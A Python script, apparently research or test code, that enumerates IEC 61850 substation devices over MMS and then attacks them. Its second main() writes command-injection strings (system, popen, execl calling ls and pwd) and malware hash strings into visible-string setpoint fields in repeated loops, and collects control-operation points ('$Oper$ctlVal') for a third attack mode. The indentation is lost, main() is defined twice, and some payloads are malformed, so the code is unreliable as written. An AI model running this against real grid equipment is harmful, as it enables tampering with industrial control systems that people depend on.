def getLNlist_fromIED(ip):
res_list = []
con = iec61850.IedConnection_create()
error = iec61850.IedConnection_connect(con, ip, tcpPort)
state = iec61850.IedConnection_getState(con)
if (error == iec61850.IED_ERROR_OK):
[deviceList, error] = iec61850.IedConnection_getLogicalDeviceList(con)
device = iec61850.LinkedList_getNext(deviceList)
size = iec61850.LinkedList_size(deviceList)
while device: #Iterate over each device from deviceList
[logicalNodes,
error] = iec61850.IedConnection_getLogicalDeviceDirectory(
con, iec61850.toCharP(device.data))
lnode = iec61850.LinkedList_getNext(logicalNodes)
while lnode: #Iterate over each node from LNodeList
LN_name = iec61850.toCharP(lnode.data)
res_list.append(LN_name)
lnode = iec61850.LinkedList_getNext(lnode)
iec61850.LinkedList_destroy(logicalNodes)
device = iec61850.LinkedList_getNext(device)
iec61850.LinkedList_destroy(deviceList)
iec61850.IedConnection_close(con)
else:
print("Connection error")
sys.exit(-1)
iec61850.IedConnection_destroy(con)
return res_list
def get_var_dict_fc_by_ied(self):
var_dict = {}
[deviceList, self.__error
] = iec61850.IedConnection_getLogicalDeviceList(self.__con)
device = iec61850.LinkedList_getNext(deviceList)
while device:
ld_inst = iec61850.toCharP(device.data)
[logicalNodes,
self.__error] = iec61850.IedConnection_getLogicalDeviceDirectory(
self.__con, iec61850.toCharP(device.data))
lnode = iec61850.LinkedList_getNext(logicalNodes)
while lnode:
ln_name = iec61850.toCharP(lnode.data)
[variables, self.__error
] = iec61850.IedConnection_getLogicalNodeVariables(
self.__con, ld_inst + '/' + ln_name)
variable = iec61850.LinkedList_get(variables, 0)
vIndex = 1
while variable:
name = iec61850.toCharP(variable.data)
fc_name = name.split("$", 1)[0]
if '$' in name:
var_name = name.split("$", 1)[1]
var_name = var_name.replace("$", ".")
#print(fc_name, "-----FC------>" , vIndex)
var_dict[ld_inst + '/' + ln_name + '.' +
var_name] = fc_name
variable = iec61850.LinkedList_get(variables, vIndex)
vIndex += 1
iec61850.LinkedList_destroy(variables)
lnode = iec61850.LinkedList_getNext(lnode)
iec61850.LinkedList_destroy(logicalNodes)
device = iec61850.LinkedList_getNext(device)
iec61850.LinkedList_destroy(deviceList)
return var_dict
def get_ln_names(self, ld):
ln_names = []
[logicalNodes,
self.__error] = iec61850.IedConnection_getLogicalDeviceDirectory(
self.__con, iec61850.toCharP(ld.data))
lnode = iec61850.LinkedList_getNext(logicalNodes)
while lnode: #Iterate over each node from LNodeList
ln_names.append(iec61850.toCharP(lnode.data))
lnode = iec61850.LinkedList_getNext(lnode)
iec61850.LinkedList_destroy(logicalNodes)
return ln_names
def main():
con = iec61850.IedConnection_create()
err = iec61850.IedConnection_connect(con, "192.168.1.41", 102)
[deviceList, err] = iec61850.IedConnection_getLogicalDeviceList(con)
device = iec61850.LinkedList_getNext(deviceList)
while device:
print("LD: {}".format(iec61850.toCharP(device.data)))
[LN, err] = iec61850.IedConnection_getLogicalDeviceDirectory(
con, iec61850.toCharP(device.data))
device = iec61850.LinkedList_getNext(device)
iec61850.LinkedList_destroy(deviceList)
#Create Client Connection
con = iec61850.IedConnection_create()
error = iec61850.IedConnection_connect(con, "localhost", 8102);
if (error == iec61850.IED_ERROR_OK):
[deviceList, error] = iec61850.IedConnection_getLogicalDeviceList(con)
device = iec61850.LinkedList_getNext(deviceList)
print("Connected to Server.\n")
#Show Logical Node, Logical Device and Data Object inside the Server
while device:
LD_name=iec61850.toCharP(device.data)
print("LD: %s" % LD_name)
[logicalNodes, error] = iec61850.IedConnection_getLogicalDeviceDirectory(con, LD_name)
logicalNode = iec61850.LinkedList_getNext(logicalNodes)
while logicalNode:
LN_name=iec61850.toCharP(logicalNode.data)
print(" LN: %s" % LN_name)
[LNobjects, error] = iec61850.IedConnection_getLogicalNodeVariables(con, LD_name+"/"+LN_name)
LNobject = iec61850.LinkedList_getNext(LNobjects)
while LNobject:
print(" DO: %s" % iec61850.toCharP(LNobject.data))
LNobject = iec61850.LinkedList_getNext(LNobject)
iec61850.LinkedList_destroy(LNobjects)
logicalNode = iec61850.LinkedList_getNext(logicalNode)
iec61850.LinkedList_destroy(logicalNodes)
device = iec61850.LinkedList_getNext(device)
iec61850.LinkedList_destroy(deviceList)
def main(host,port,attack,it,con):
attack12 =[]
visable_string_type =['$NamPlt','$NamPlt$d','$NamPlt$IdNs','$NamPlt$swRev','$NamPlt$vendor','LogRef','DatSet','RptID']
attack3 =[]
commands= [
'return execl (\"/bin/pwd\", \"pwd\", NULL);',
'system((\"/bin/pwd\", \"pwd\", NULL);',
'popen((\"/bin/pwd\", \"pwd\", NULL);',
'fp = popen(\"/bin/ls /etc/\", \"r\");printf(\'%s\',fp);',
'fp = system(\'ls\');printf(\'%s\',fp);',
'sshell ss; ss.argv.insert(\"ls\");o_(ss.link);',
'CALL \"SYSTEM\" USING BY CONTENT \"ls\"',
'Run(@ComSpec & \" /c \" & \'pause\', \"\", @SW_HIDE)',
'system(\"pause\");',
'execute_process(COMMAND ls)',
'spawn,\"ls\",result',
'System runCommand(\"ls\") stdout println',
'var sh = new ActiveXObject(\"WScript.Sh\");sh.run(\"/c ls\");',
'\"ls\" system.',
'run(\`ls\`)',
'r: 4:\"ls\"',
'> (io:format (os:cmd \"ls -alrt\"))',
'drive1$ = left$(Drives$,1) run \"ls /\";drive1$;\"',
'print first butfirst shell [ls -a] ; ..',
'contents=$(shell cat foo) curdir=\`pwd\`']
#https://rosettacode.org/wiki/Execute_a_system_command
malware_examples=[
'414af3620d0843f07318a2a33f65667d',
'0c8b4b357d4f059177ee752a2a3230a5',
'f16ea91bb744e4abf5b0424e2a7d9246',
'902d64217c8a0968a7b24af3001abba5',
'e19167569032677bb8b8a8ce78af11f8',
'a787ba60426e50c77ac8cb0598b634af',
'b6c26bbaefdbabedfd71b537b1cd7586',
'cbf48f823c965b40b3cb1c31c9c51bf6',
'465c25e393f2e15e337ce5ef817c839e',
'7209054e29ea7ebfe0828b11609f0db0',
'9f0bf21fd75f540dce7fc29da799cbe1',
'f4ecba48d00f3e86b7ff72bfccc03410',
'417f692bf04685b1e282f2ea8d8933bb',
'16ee94648fdb34280c838e522292070f',
'fe59c96c664cf49a857469fa4a37f646',
'5fb781ff11297732851186f3f7ac4b6a',
'bf134af3a00189da424657a382913da5',
'75b50a3fae06f054cf3f28d80cfa4e15',
'71db409e39688340d0dffff94a012e2e',
'3b3eaf98db1df32147aadccf66826025',
'0199d9d68ec0af5819d6137feb04310e']
#Create Client Connection
con = iec61850.IedConnection_create()
error = iec61850.IedConnection_connect(con, host,port);
if (error == iec61850.IED_ERROR_OK):
[deviceList, error] = iec61850.IedConnection_getLogicalDeviceList(con)
device = iec61850.LinkedList_getNext(deviceList)
print("Connected to Server.\n")
#Show Logical Node, Logical Device and Data Object inside the Server
while device:
logical_device=iec61850.toCharP(device.data)
print("Name of Logical Device: %s" % logical_device)
[logicalNodes, error] = iec61850.IedConnection_getLogicalDeviceDirectory(con, logical_device)
logicalNode = iec61850.LinkedList_getNext(logicalNodes)
while logicalNode:
LN_name=iec61850.toCharP(logicalNode.data)
#print(" LN: %s" % LN_name)
[LNobjects, error] = iec61850.IedConnection_getLogicalNodeVariables(con, logical_device+"/"+LN_name)
LNobject = iec61850.LinkedList_getNext(LNobjects)
while LNobject:
#print(" DO: %s" % iec61850.toCharP(LNobject.data))
LNobject = iec61850.LinkedList_getNext(LNobject)
try:
#Attack1 and Attack2
if attack == 1 or attack == 2:
for i in visable_string_type:
if(str(iec61850.toCharP(LNobject.data)).endswith(i)):
attack12.append(str(iec61850.toCharP(LNobject.data)))
print(str(iec61850.toCharP(LNobject.data)))
#Attack3
if attack == 3:
if str(iec61850.toCharP(LNobject.data)).endswith('$Oper$ctlVal'):
attack3.append(str(iec61850.toCharP(LNobject.data)))
print(str(iec61850.toCharP(LNobject.data)))
except (TypeError, AttributeError):
pass
iec61850.LinkedList_destroy(LNobjects)
logicalNode = iec61850.LinkedList_getNext(logicalNode)
iec61850.LinkedList_destroy(logicalNodes)
device = iec61850.LinkedList_getNext(device)
iec61850.LinkedList_destroy(deviceList)
running = 1;
signal.signal(signal.SIGINT, signal_handler);
sp=[]
ps_r=[]
sp_w =[]
while running:
if attack == 1:
count = 0
while count < it:
count+=1
k = 0
for item in attack12:
lln_param = logical_device+"/"+item
type = iec61850.IEC61850_FC_SP #Function Code - Setpoint
for c in commands:
sp_w = iec61850.IedConnection_writeVisibleStringValue(con, lln_param, type, c)
print(k,"- Working:",lln_param,c)
time.sleep(0.1)
k+=1
print("Finished Example Attack 1 - Command Injection")
print("Attacked parameters:\n", attack12)
break
if attack == 2:
count = 0
while count < it:
count+=1
k = 0
for item in attack12:
lln_param = logical_device+"/"+item
type = iec61850.IEC61850_FC_SP #Function Code - Setpoint
for m in malware_examples:
sp_w = iec61850.IedConnection_writeVisibleStringValue(con, lln_param, type, m)
print(k,"- Working:",lln_param,m)
time.sleep(0.1)
k+=1
print("Finished Example Attack 2 - Malware Injection")
print("Attacked parameters:\n", attack12)
break
#MMS Structure
if attack == 3:
print("attack 3 ................")
print(attack3)
break